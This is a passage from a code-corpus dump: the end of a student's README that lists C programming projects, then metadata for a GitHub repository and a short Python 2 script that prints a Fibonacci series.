structure|\n|0x13: More Singly Linked Lists|Creating basic functions to utilize singly linked lists|\n|0x14: Bit Manipulation|Introduction to manipulating individual bits|\n|0x15: File IO|Creation and editing of files from a c program|\n|0x17: Doubly Linked Lists|Similar to 0x13, creates basic functions to interact with a doubly linked list|\n|0x18: Dynamic Libraries|Bash script that generates a dynamic library, with example .so file|\n|0x1A: Hash Tables|Basic funtions to create and interact with hash tables|\n|0x1C: Makefiles|Introduction to Makefiles|\n|0x1E: Search Algorithms|Recreates various search algorithms with big O included|\n\n### About Me\nI am a student software engineer, currently studying at Holberton School. My interests are in VR and game development, and I'd like to create my own VR game company within the next 10 years. See more about me on my [LinkedIn](https://www.linkedin.com/in/brett-davis-132916155/)\n" } ]
135
jdpatino10/Fibonacci-Python
https://github.com/jdpatino10/Fibonacci-Python
a850193afea4ba07823d67550526c44af89a6723
880ba4cfa0adc197350439aea505a0e15f1af800
fe905587868d6a7b40b0e8e67089e817a4938ead
refs/heads/master
2021-01-10T08:57:58.991014
2016-02-05T04:46:38
2016-02-05T04:46:38
51,126,155
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7082683444023132, "alphanum_fraction": 0.7160686254501343, "avg_line_length": 31.100000381469727, "blob_id": "43b0717708c3cea8d0350097b3781f04178e18e9", "content_id": "36c54ac85a5b1e7fc23cef47959df90e6ad89b38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 641, "license_type": "no_license", "max_line_length": 95, "num_lines": 20, "path": "/Fibonacci.py", "repo_name": "jdpatino10/Fibonacci-Python", "src_encoding": "UTF-8", "text": "iteraciones = raw_input(\"Ingrese un numero para las iteraciones de la serie de Fibonacci \")\niteraciones =u\"\"+iteraciones\nwhile iteraciones.isnumeric()== False:\n iteraciones = raw_input(\"Ingrese un numero para las iteraciones de la serie de Fibonacci \")\n iteraciones =u\"\"+iteraciones;\nprint iteraciones\nsalida = \"\"\nactual = 1\nanterior = 0\nresultado = -0\nfor num in range(0, int(iteraciones)):\n resultado = actual+anterior\n anterior = actual\n salida=salida + str(resultado)\n if num<int(iteraciones)-1:\n salida=salida+\",\"\n actual = resultado\n\nprint \"Serie Fibonacci con \" + iteraciones + \" iteraciones:\"\nprint salida" } ]
1